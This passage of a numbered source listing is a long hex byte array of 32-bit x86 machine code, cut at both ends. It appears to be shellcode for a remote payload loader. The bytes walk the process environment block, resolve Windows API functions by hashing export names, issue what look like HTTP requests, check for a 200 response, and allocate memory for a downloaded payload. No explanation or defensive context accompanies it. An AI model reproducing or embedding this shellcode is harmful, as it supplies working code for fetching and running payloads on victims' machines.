0x08, 0x8b, 0x45, 0xe0, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 186 | 0x04, 0x24, 0xe8, 0x1b, 0x0e, 0x00, 0x00, 0x8d, 0x85, 0x70, 0xff, 0xff, 187 | 0xff, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 188 | 0xd5, 0x13, 0x00, 0x00, 0xeb, 0x41, 0x8b, 0x45, 0xe0, 0x8b, 0x00, 0x83, 189 | 0xf8, 0x05, 0x74, 0x0a, 0x8b, 0x45, 0xe0, 0x8b, 0x00, 0x83, 0xf8, 0x06, 190 | 0x75, 0x2d, 0x8b, 0x45, 0xe0, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 191 | 0x89, 0x04, 0x24, 0xe8, 0x57, 0x22, 0x00, 0x00, 0xeb, 0x19, 0x90, 0xeb, 192 | 0x16, 0x90, 0xeb, 0x13, 0x90, 0xeb, 0x10, 0x90, 0xeb, 0x0d, 0x90, 0xeb, 193 | 0x0a, 0x90, 0xeb, 0x07, 0x90, 0xeb, 0x04, 0x90, 0xeb, 0x01, 0x90, 0x8b, 194 | 0x45, 0x08, 0x8b, 0x80, 0xe4, 0x06, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x74, 195 | 0x0e, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0xe4, 0x06, 0x00, 0x00, 0x83, 0xf8, 196 | 0x03, 0x75, 0x6c, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0x20, 0x09, 0x00, 0x00, 197 | 0x85, 0xc0, 0x74, 0x5f, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x1c, 0x09, 0x00, 198 | 0x00, 0x8b, 0x80, 0x18, 0x09, 0x00, 0x00, 0x89, 0xc2, 0x8b, 0x45, 0x08, 199 | 0x8b, 0x80, 0x20, 0x09, 0x00, 0x00, 0x89, 0x54, 0x24, 0x08, 0xc7, 0x44, 200 | 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x89, 0x04, 0x24, 0xe8, 0x56, 0x3a, 201 | 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0x20, 0x09, 0x00, 0x00, 0xc7, 202 | 0x44, 0x24, 0x08, 0x00, 0xc0, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 203 | 0x00, 0x00, 0x00, 0x89, 0x04, 0x24, 0x8b, 0x45, 0xc8, 0xff, 0xd0, 0x83, 204 | 0xec, 0x0c, 0x8b, 0x45, 0x08, 0xc7, 0x80, 0x20, 0x09, 0x00, 0x00, 0x00, 205 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0x30, 0x02, 0x00, 0x00, 206 | 0x83, 0xf8, 0x02, 0x0f, 0x94, 0xc0, 0x0f, 0xb6, 0xc0, 0x89, 0x45, 0x9c, 207 | 0x8b, 0x45, 0x08, 0x8b, 0x00, 0x89, 0x44, 0x24, 0x08, 0xc7, 0x44, 0x24, 208 | 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 209 | 0xf4, 0x39, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x00, 0xc0, 0x00, 0x00, 210 | 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x89, 211 | 0x04, 0x24, 0x8b, 0x45, 0xc8, 0xff, 0xd0, 0x83, 0xec, 0x0c, 0x83, 0x7d, 212 | 0x9c, 0x00, 0x74, 0x0f, 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0x8b, 213 | 0x45, 0xc4, 0xff, 0xd0, 0x83, 0xec, 0x04, 0xb8, 0x00, 0x00, 0x00, 0x00, 214 | 0x8d, 0x65, 0xf4, 0x5b, 0x5e, 0x5f, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x83, 215 | 0xec, 0x28, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x50, 0xc7, 0x44, 0x24, 0x14, 216 | 0x00, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x10, 0x89, 0x44, 0x24, 0x10, 0xc7, 217 | 0x44, 0x24, 0x0c, 0xff, 0xff, 0xff, 0xff, 0x8b, 0x45, 0x0c, 0x89, 0x44, 218 | 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x04, 219 | 0x24, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2, 0x83, 0xec, 0x18, 0xc9, 0xc3, 220 | 0x55, 0x89, 0xe5, 0x56, 0x53, 0x81, 0xec, 0x40, 0x02, 0x00, 0x00, 0x8b, 221 | 0x45, 0x10, 0x89, 0x85, 0xe0, 0xfd, 0xff, 0xff, 0x8b, 0x45, 0x14, 0x89, 222 | 0x85, 0xe4, 0xfd, 0xff, 0xff, 0x8b, 0x45, 0x18, 0x89, 0x85, 0xd8, 0xfd, 223 | 0xff, 0xff, 0x8b, 0x45, 0x1c, 0x89, 0x85, 0xdc, 0xfd, 0xff, 0xff, 0xc7, 224 | 0x45, 0xec, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x0c, 0x89, 0x45, 0xe8, 225 | 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x3c, 0x89, 0xc2, 0x8b, 0x45, 0x0c, 0x01, 226 | 0xd0, 0x89, 0x45, 0xe4, 0x8b, 0x45, 0xe4, 0x83, 0xc0, 0x78, 0x89, 0x45, 227 | 0xe0, 0x8b, 0x45, 0xe0, 0x8b, 0x00, 0x89, 0x45, 0xdc, 0x83, 0x7d, 0xdc, 228 | 0x00, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0xd1, 0x02, 0x00, 229 | 0x00, 0x8b, 0x55, 0x0c, 0x8b, 0x45, 0xdc, 0x01, 0xd0, 0x89, 0x45, 0xd8, 230 | 0x8b, 0x45, 0xd8, 0x8b, 0x40, 0x18, 0x89, 0x45, 0xf0, 0x83, 0x7d, 0xf0, 231 | 0x00, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0xad, 0x02, 0x00, 232 | 0x00, 0x8b, 0x45, 0xd8, 0x8b, 0x50, 0x1c, 0x8b, 0x45, 0x0c, 0x01, 0xd0, 233 | 0x89, 0x45, 0xd4, 0x8b, 0x45, 0xd8, 0x8b, 0x50, 0x20, 0x8b, 0x45, 0x0c, 234 | 0x01, 0xd0, 0x89, 0x45, 0xd0, 0x8b, 0x45, 0xd8, 0x8b, 0x50, 0x24, 0x8b, 235 | 0x45, 0x0c, 0x01, 0xd0, 0x89, 0x45, 0xcc, 0x8b, 0x45, 0xd8, 0x8b, 0x50, 236 | 0x0c, 0x8b, 0x45, 0x0c, 0x01, 0xd0, 0x89, 0x45, 0xc8, 0xc7, 0x45, 0xf4, 237 | 0x00, 0x00, 0x00, 0x00, 0xeb, 0x21, 0x8b, 0x55, 0xc8, 0x8b, 0x45, 0xf4, 238 | 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x83, 0xc8, 0x20, 0x89, 0xc1, 0x8d, 0x95, 239 | 0xb0, 0xfe, 0xff, 0xff, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x88, 0x08, 0x83, 240 | 0x45, 0xf4, 0x01, 0x8b, 0x55, 0xc8, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 241 | 0xb6, 0x00, 0x84, 0xc0, 0x75, 0xd0, 0x8d, 0x95, 0xb0, 0xfe, 0xff, 0xff, 242 | 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0xc6, 0x00, 0x00, 0x8b, 0x85, 0xd8, 0xfd, 243 | 0xff, 0xff, 0x8b, 0x95, 0xdc, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x04, 244 | 0x89, 0x54, 0x24, 0x08, 0x8d, 0x85, 0xb0, 0xfe, 0xff, 0xff, 0x89, 0x04, 245 | 0x24, 0xe8, 0x98, 0x3a, 0x00, 0x00, 0x89, 0x45, 0xc0, 0x89, 0x55, 0xc4, 246 | 0x8b, 0x45, 0xf0, 0x05, 0xff, 0xff, 0xff, 0x3f, 0x8d, 0x14, 0x85, 0x00, 247 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0xd0, 0x01, 0xd0, 0x8b, 0x10, 0x8b, 0x45, 248 | 0x0c, 0x01, 0xd0, 0x89, 0x45, 0xbc, 0x8b, 0x85, 0xd8, 0xfd, 0xff, 0xff, 249 | 0x8b, 0x95, 0xdc, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x04, 0x89, 0x54, 250 | 0x24, 0x08, 0x8b, 0x45, 0xbc, 0x89, 0x04, 0x24, 0xe8, 0x55, 0x3a, 0x00, 251 | 0x00, 0x89, 0xc1, 0x33, 0x4d, 0xc0, 0x89, 0xcb, 0x89, 0xd0, 0x33, 0x45, 252 | 0xc4, 0x89, 0xc6, 0x89, 0xd8, 0x33, 0x85, 0xe0, 0xfd, 0xff, 0xff, 0x89, 253 | 0x85, 0xd0, 0xfd, 0xff, 0xff, 0x89, 0xf0, 0x33, 0x85, 0xe4, 0xfd, 0xff, 254 | 0xff, 0x89, 0x85, 0xd4, 0xfd, 0xff, 0xff, 0x8b, 0x95, 0xd0, 0xfd, 0xff, 255 | 0xff, 0x8b, 0x8d, 0xd4, 0xfd, 0xff, 0xff, 0x89, 0xc8, 0x09, 0xd0, 0x85, 256 | 0xc0, 0x0f, 0x85, 0x70, 0x01, 0x00, 0x00, 0x8b, 0x45, 0xf0, 0x05, 0xff, 257 | 0xff, 0xff, 0x7f, 0x8d, 0x14, 0x00, 0x8b, 0x45, 0xcc, 0x01, 0xd0, 0x0f, 258 | 0xb7, 0x00, 0x0f, 0xb7, 0xc0, 0x8d, 0x14, 0x85, 0x00, 0x00, 0x00, 0x00, 259 | 0x8b, 0x45, 0xd4, 0x01, 0xd0, 0x8b, 0x10, 0x8b, 0x45, 0x0c, 0x01, 0xd0, 260 | 0x89, 0x45, 0xec, 0x8b, 0x45, 0xec, 0x3b, 0x45, 0xd8, 0x0f, 0x82, 0x33, 261 | 0x01, 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x8b, 0x50, 0x04, 0x8b, 0x45, 0xd8, 262 | 0x01, 0xd0, 0x3b, 0x45, 0xec, 0x0f, 0x86, 0x1f, 0x01, 0x00, 0x00, 0x8b, 263 | 0x45, 0xec, 0x89, 0x45, 0xb8, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 264 | 0xeb, 0x2b, 0x8b, 0x55, 0xb8, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 265 | 0x00, 0x8d, 0x8d, 0x70, 0xfe, 0xff, 0xff, 0x8b, 0x55, 0xf4, 0x01, 0xca, 266 | 0x88, 0x02, 0x8b, 0x55, 0xb8, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 267 | 0x00, 0x3c, 0x2e, 0x74, 0x1b, 0x83, 0x45, 0xf4, 0x01, 0x8b, 0x55, 0xb8, 268 | 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x74, 0x09, 269 | 0x83, 0x7d, 0xf4, 0x3b, 0x76, 0xc0, 0xeb, 0x01, 0x90, 0x8b, 0x45, 0xf4, 270 | 0x83, 0xc0, 0x01, 0xc6, 0x84, 0x05, 0x70, 0xfe, 0xff, 0xff, 0x64, 0x8b, 271 | 0x45, 0xf4, 0x83, 0xc0, 0x02, 0xc6, 0x84, 0x05, 0x70, 0xfe, 0xff, 0xff, 272 | 0x6c, 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x03, 0xc6, 0x84, 0x05, 0x70, 0xfe, 273 | 0xff, 0xff, 0x6c, 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x04, 0xc6, 0x84, 0x05, 274 | 0x70, 0xfe, 0xff, 0xff, 0x00, 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x01, 0x01, 275 | 0x45, 0xb8, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x1c, 0x8b, 276 | 0x55, 0xb8, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x8d, 0x8d, 277 | 0xf0, 0xfd, 0xff, 0xff, 0x8b, 0x55, 0xf4, 0x01, 0xca, 0x88, 0x02, 0x83, 278 | 0x45, 0xf4, 0x01, 0x8b, 0x55, 0xb8, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 279 | 0xb6, 0x00, 0x84, 0xc0, 0x74, 0x06, 0x83, 0x7d, 0xf4, 0x7e, 0x76, 0xcf, 280 | 0x8d, 0x95, 0xf0, 0xfd, 0xff, 0xff, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0xc6, 281 | 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x30, 0x8d, 0x85, 0x70, 0xfe, 282 | 0xff, 0xff, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x89, 0x45, 283 | 0xb4, 0x83, 0x7d, 0xb4, 0x00, 0x74, 0x20, 0x8b, 0x45, 0x08, 0x8b, 0x50, 284 | 0x34, 0x8d, 0x85, 0xf0, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x04, 0x8b, 285 | 0x45, 0xb4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 0x45, 286 | 0xec, 0xeb, 0x07, 0xc7, 0x45, 0xec, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 287 | 0xec, 0xeb, 0x17, 0x83, 0x6d, 0xf0, 0x01, 0x83, 0x7d, 0xf0, 0x00, 0x74, 288 | 0x0a, 0x83, 0x7d, 0xec, 0x00, 0x0f, 0x84, 0xfd, 0xfd, 0xff, 0xff, 0x8b, 289 | 0x45, 0xec, 0x8d, 0x65, 0xf8, 0x5b, 0x5e, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 290 | 0x83, 0xec, 0x58, 0x8b, 0x45, 0x0c, 0x89, 0x45, 0xd0, 0x8b, 0x45, 0x10, 291 | 0x89, 0x45, 0xd4, 0x8b, 0x45, 0x14, 0x89, 0x45, 0xc8, 0x8b, 0x45, 0x18, 292 | 0x89, 0x45, 0xcc, 0xc7, 0x45, 0xf0, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 293 | 0xe4, 0x18, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe4, 0x64, 0x8b, 0x00, 0x89, 294 | 0x45, 0xe0, 0x8b, 0x45, 0xe0, 0x8b, 0x40, 0x30, 0x89, 0x45, 0xec, 0x8b, 295 | 0x45, 0xec, 0x8b, 0x40, 0x0c, 0x89, 0x45, 0xe8, 0x8b, 0x45, 0xe8, 0x8b, 296 | 0x40, 0x0c, 0x89, 0x45, 0xf4, 0xeb, 0x3c, 0x8b, 0x45, 0xf4, 0x8b, 0x48, 297 | 0x18, 0x8b, 0x45, 0xc8, 0x8b, 0x55, 0xcc, 0x89, 0x44, 0x24, 0x10, 0x89, 298 | 0x54, 0x24, 0x14, 0x8b, 0x45, 0xd0, 0x8b, 0x55, 0xd4, 0x89, 0x44, 0x24, 299 | 0x08, 0x89, 0x54, 0x24, 0x0c, 0x89, 0x4c, 0x24, 0x04, 0x8b, 0x45, 0x08, 300 | 0x89, 0x04, 0x24, 0xe8, 0x38, 0xfc, 0xff, 0xff, 0x89, 0x45, 0xf0, 0x8b, 301 | 0x45, 0xf4, 0x8b, 0x00, 0x89, 0x45, 0xf4, 0x8b, 0x45, 0xf4, 0x8b, 0x40, 302 | 0x18, 0x85, 0xc0, 0x74, 0x06, 0x83, 0x7d, 0xf0, 0x00, 0x74, 0xb4, 0x8b, 303 | 0x45, 0xf0, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0x57, 0x56, 0x53, 0x81, 0xec, 304 | 0xbc, 0x02, 0x00, 0x00, 0xc7, 0x45, 0xb0, 0x00, 0x00, 0x00, 0x00, 0xc7, 305 | 0x45, 0xe4, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xdc, 0x00, 0x00, 0x00, 306 | 0x00, 0xc7, 0x45, 0xe0, 0x00, 0x02, 0x60, 0x84, 0xc7, 0x44, 0x24, 0x08, 307 | 0x3c, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 308 | 0x8d, 0x85, 0x74, 0xff, 0xff, 0xff, 0x89, 0x04, 0x24, 0xe8, 0x46, 0x35, 309 | 0x00, 0x00, 0xc7, 0x85, 0x74, 0xff, 0xff, 0xff, 0x3c, 0x00, 0x00, 0x00, 310 | 0x8d, 0x85, 0x74, 0xfe, 0xff, 0xff, 0x89, 0x45, 0x84, 0x8d, 0x85, 0x74, 311 | 0xfd, 0xff, 0xff, 0x89, 0x45, 0xa0, 0xc7, 0x45, 0x88, 0x00, 0x01, 0x00, 312 | 0x00, 0xc7, 0x45, 0xa4, 0x00, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 313 | 0x90, 0x90, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8d, 0x88, 0xe8, 0x06, 314 | 0x00, 0x00, 0x8d, 0x85, 0x74, 0xff, 0xff, 0xff, 0x89, 0x44, 0x24, 0x0c, 315 | 0xc7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 0x10, 0xc7, 0x44, 0x24, 0x04, 316 | 0x00, 0x00, 0x00, 0x00, 0x89, 0x0c, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x10, 317 | 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x22, 0x04, 318 | 0x00, 0x00, 0x8b, 0x45, 0x80, 0x83, 0xf8, 0x04, 0x0f, 0x94, 0xc0, 0x0f, 319 | 0xb6, 0xc0, 0x89, 0x45, 0xdc, 0x83, 0x7d, 0xdc, 0x00, 0x74, 0x07, 0x81, 320 | 0x4d, 0xe0, 0x00, 0x30, 0x80, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0x94, 321 | 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x10, 0x00, 0x00, 0x00, 0x00, 0xc7, 322 | 0x44, 0x24, 0x0c, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x00, 323 | 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 324 | 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x83, 0xec, 0x14, 0x89, 325 | 0x45, 0xd8, 0x83, 0x7d, 0xd8, 0x00, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 326 | 0x00, 0xe9, 0xbe, 0x03, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x98, 327 | 0x00, 0x00, 0x00, 0x0f, 0xb7, 0x45, 0x8c, 0x0f, 0xb7, 0xc0, 0xc7, 0x44, 328 | 0x24, 0x1c, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x18, 0x00, 0x00, 329 | 0x00, 0x00, 0xc7, 0x44, 0x24, 0x14, 0x03, 0x00, 0x00, 0x00, 0xc7, 0x44, 330 | 0x24, 0x10, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x0c, 0x00, 0x00, 331 | 0x00, 0x00, 0x89, 0x44, 0x24, 0x08, 0x8d, 0x85, 0x74, 0xfe, 0xff, 0xff, 332 | 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xd8, 0x89, 0x04, 0x24, 0xff, 0xd2, 333 | 0x83, 0xec, 0x20, 0x89, 0x45, 0xd4, 0x83, 0x7d, 0xd4, 0x00, 0x0f, 0x84, 334 | 0x93, 0x02, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xa8, 0x00, 0x00, 335 | 0x00, 0x8b, 0x45, 0x08, 0x8d, 0x88, 0xe8, 0x07, 0x00, 0x00, 0xc7, 0x44, 336 | 0x24, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xe0, 0x89, 0x44, 0x24, 337 | 0x18, 0xc7, 0x44, 0x24, 0x14, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 338 | 0x10, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x0c, 0x00, 0x00, 0x00, 339 | 0x00, 0x8d, 0x85, 0x74, 0xfd, 0xff, 0xff, 0x89, 0x44, 0x24, 0x08, 0x89, 340 | 0x4c, 0x24, 0x04, 0x8b, 0x45, 0xd4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 341 | 0xec, 0x20, 0x89, 0x45, 0xd0, 0x83, 0x7d, 0xd0, 0x00, 0x0f, 0x84, 0x20, 342 | 0x02, 0x00, 0x00, 0x83, 0x7d, 0xdc, 0x00, 0x74, 0x45, 0x8b, 0x45, 0xe0, 343 | 0x25, 0x00, 0x10, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x39, 0xc7, 0x45, 0xcc, 344 | 0x04, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xbc, 0x80, 0x33, 0x00, 0x00, 0x8b, 345 | 0x45, 0x08, 0x8b, 0x90, 0x9c, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x0c, 346 | 0x04, 0x00, 0x00, 0x00, 0x8d, 0x45, 0xbc, 0x89, 0x44, 0x24, 0x08, 0xc7, 347 | 0x44, 0x24, 0x04, 0x1f, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xd0, 0x89, 0x04, 348 | 0x24, 0xff, 0xd2, 0x83, 0xec, 0x10, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xac, 349 | 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x10, 0x00, 0x00, 0x00, 0x00, 0xc7, 350 | 0x44, 0x24, 0x0c, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x08, 0x00, 351 | 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8b, 352 | 0x45, 0xd0, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x14, 0x85, 0xc0, 353 | 0x0f, 0x84, 0x85, 0x01, 0x00, 0x00, 0xc7, 0x45, 0xb4, 0x04, 0x00, 0x00, 354 | 0x00, 0xc7, 0x45, 0xb0, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 355 | 0x90, 0xb0, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x10, 0x00, 0x00, 0x00, 356 | 0x00, 0x8d, 0x45, 0xb4, 0x89, 0x44, 0x24, 0x0c, 0x8d, 0x45, 0xb0, 0x89, 357 | 0x44, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x13, 0x00, 0x00, 0x20, 0x8b, 358 | 0x45, 0xd0, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x14, 0x85, 0xc0, 359 | 0x0f, 0x84, 0x3d, 0x01, 0x00, 0x00, 0x8b, 0x45, 0xb0, 0x3d, 0xc8, 0x00, 360 | 0x00, 0x00, 0x0f, 0x85, 0x2f, 0x01, 0x00, 0x00, 0xc7, 0x45, 0xb4, 0x04, 361 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0xc7, 0x80, 0x18, 0x09, 0x00, 0x00, 362 | 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0x1c, 0x09, 0x00, 0x00, 0x00, 0x00, 363 | 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xb0, 0x00, 0x00, 0x00, 0x8b, 364 | 0x45, 0x08, 0x8d, 0x88, 0x18, 0x09, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x10, 365 | 0x00, 0x00, 0x00, 0x00, 0x8d, 0x45, 0xb4, 0x89, 0x44, 0x24, 0x0c, 0x89, 366 | 0x4c, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x05, 0x00, 0x00, 0x20, 0x8b, 367 | 0x45, 0xd0, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x14, 0x85, 0xc0, 368 | 0x0f, 0x84, 0xd1, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x1c, 369 | 0x09, 0x00, 0x00, 0x8b, 0x80, 0x18, 0x09, 0x00, 0x00, 0x89, 0xc7, 0x83, 370 | 0xf7, 0x00, 0x89, 0xbd, 0x60, 0xfd, 0xff, 0xff, 0x89, 0xd0, 0x80, 0xf4, 371 | 0x00, 0x89, 0x85, 0x64, 0xfd, 0xff, 0xff, 0x8b, 0x95, 0x60, 0xfd, 0xff, 372 | 0xff, 0x8b, 0x8d, 0x64, 0xfd, 0xff, 0xff, 0x89, 0xc8, 0x09, 0xd0, 0x85, 373 | 0xc0, 0x0f, 0x84, 0x94, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x48, 374 | 0x3c, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x1c, 0x09, 0x00, 0x00, 0x8b, 0x80, 375 | 0x18, 0x09, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x0c, 0x04, 0x00, 0x00, 0x00, 376 | 0xc7, 0x44, 0x24, 0x08, 0x00, 0x30, 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 377 | 0xc7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd1, 0x83, 0xec, 0x10, 378 | 0x89, 0xc2, 0x8b, 0x45, 0x08, 0x89, 0x90, 0x20, 0x09, 0x00, 0x00, 0x8b, 379 | 0x45, 0x08, 0x8b, 0x80, 0x20, 0x09, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x47, 380 | 0xc7, 0x45, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x88, 381 | 0xa0, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x1c, 0x09, 0x00, 382 | 0x00, 0x8b, 0x80, 0x18, 0x09, 0x00, 0x00, 0x89, 0xc7, 0x8b, 0x45, 0x08, 383 | 0x8b, 0x80, 0x20, 0x09, 0x00, 0x00, 0x8d, 0x55, 0xb8, 0x89, 0x54, 0x24, 384 | 0x0c, 0x89, 0x7c, 0x24, 0x08, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xd0, 385 | 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x10, 0x89, 0x45, 0xe4, 0x8b, 386 | 0x45, 0x08, 0x8b, 0x90, 0xa4, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xd0, 0x89, 387 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x8b, 0x45, 0x08, 0x8b, 0x90, 388 | 0xa4, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xd4, 0x89, 0x04, 0x24, 0xff, 0xd2, 389 | 0x83, 0xec, 0x04, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0xa4, 0x00, 0x00, 0x00, 390 | 0x8b, 0x45, 0xd8, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0x83, 391 | 0x7d, 0xe4, 0x00, 0x0f, 0x84, 0xac, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 392 | 0x8b, 0x80, 0x34, 0x02, 0x00, 0x00, 0x83, 0xf8, 0x03, 0x0f, 0x85, 0x9a, 393 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x80, 0x20, 0x09, 0x00, 0x00, 394 | 0x89, 0x45, 0xc8, 0x8b, 0x45, 0x08, 0x8b, 0x90, 0x1c, 0x09, 0x00, 0x00, 395 | 0x8b, 0x80, 0x18, 0x09, 0x00, 0x00, 0x89, 0xc7, 0x8b, 0x45, 0x08, 0x8d, 396 | 0x88, 0x08, 0x09, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8d, 0x90, 0xf8, 0x08, 397 | 0x00, 0x00, 0x89, 0x7c, 0x24, 0x0c, 0x8b, 0x45, 0xc8, 0x89, 0x44, 0x24, 398 | 0x08, 0x89, 0x4c, 0x24, 0x04, 0x89, 0x14, 0x24, 0xe8, 0x4d, 0x36, 0x00, 399 | 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x2c, 0x8b, 0x40, 0x28, 0x8b, 0x4d, 400 | 0x08, 0x81, 0xc1, 0xf0, 0x07, 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 0x89, 401 | 0x54, 0x24, 0x08, 0x89, 0x0c, 0x24, 0xe8, 0x43, 0x33, 0x00, 0x00, 0x89, 402 | 0x45, 0xc0, 0x89, 0x55, 0xc4, 0x8b, 0x45, 0xc8, 0x8b, 0x90, 0x1c, 0x05, 403 | 0x00, 0x00, 0x8b, 0x80, 0x18, 0x05, 0x00, 0x00, 0x89, 0xc7, 0x33, 0x7d, 404 | 0xc0, 0x89, 0xfb, 0x89, 0xd0, 0x33, 0x45, 0xc4, 0x89, 0xc6, 0x89, 0xf0, 405 | 0x09, 0xd8, 0x85, 0xc0, 0x74, 0x07, 0xb8, 0x00, 0x00, 